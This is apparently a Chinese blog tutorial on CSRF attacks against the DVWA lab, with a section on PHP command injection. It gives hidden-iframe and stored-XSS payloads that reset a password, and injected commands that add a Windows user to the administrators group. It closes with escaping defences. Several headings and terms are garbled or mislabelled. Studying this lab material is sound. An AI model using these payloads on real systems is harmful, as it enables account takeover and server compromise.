CRSF漏洞攻击及防御

1.csrf攻击前提
目标网站存在csrf漏洞
受害者需要保持目标站点的登录活动状态
受害者需要点击钓鱼链接
2.csrf攻击改进
(1)利用短链接工具,增强欺骗性
www.surl.sinaapp.com(把url变短)
(2)把csrf代码嵌入其他网页
<img src=mm.jpg>
<iframe
src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"frameborder="0"width="0" />
3.csrf与xss结合
(1)把csrf代码写入存储性xss注入点中
<script
src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"></script>
(2)用户触发xss
(3)优点:隐蔽性,不会出现密码修改页面
4.crsf漏洞分析
shell exed)函数可以在PHP中去执行操作系统命令,如果不对用户输入的命令进行过滤,那么理论.上就可以执行任意系统命令,也就相当于直接获得了系统级的Shell。
命令执行语句
127.0.0.1 | net user
127.0.0.1| net user test123 /add
127.0.0.1| net localgroup administrators test /add
(1)同时执行多条命令
"I” :前面命令输出结果作为后面命令的输入内容;
"&" :前面命令执行后接着执行后面的命令;
"II” :前面命令执行失败的时候才执行后面的命令;
"&&" :前面命令执行成功了才执行后面的命令。
(2)Linux系统还可以使用分号(;)同时执行多条命令。
还可以使用重定向(>)在服务器中生成文件,或是使用(<)从事先准备好的文件读入命令等。
127.0.0.1 & echo test> c:\1.txt
5.防范措施
(1)对传入的命令进行严格过滤
(2)后台对应用权限控制(PHP建立独立账号,控制PHP启动)
6.漏洞防御
(1)EscapeShellCmd()函数
把字符串再所有可能瞒过Shell而去执行另外一个命令的字符转义,如管道符(1)、分号(;)、重定向(>)、从文件读入(<)等。
(2)EscapeShellArg()函数
在给定的字符串两边加上单引号,并把字符串中的单引号转义。这样这个字符串就可以安全地作为命令的参数。

上一篇:Base64加密实战


下一篇:【Java】Springboot使用Redisson配置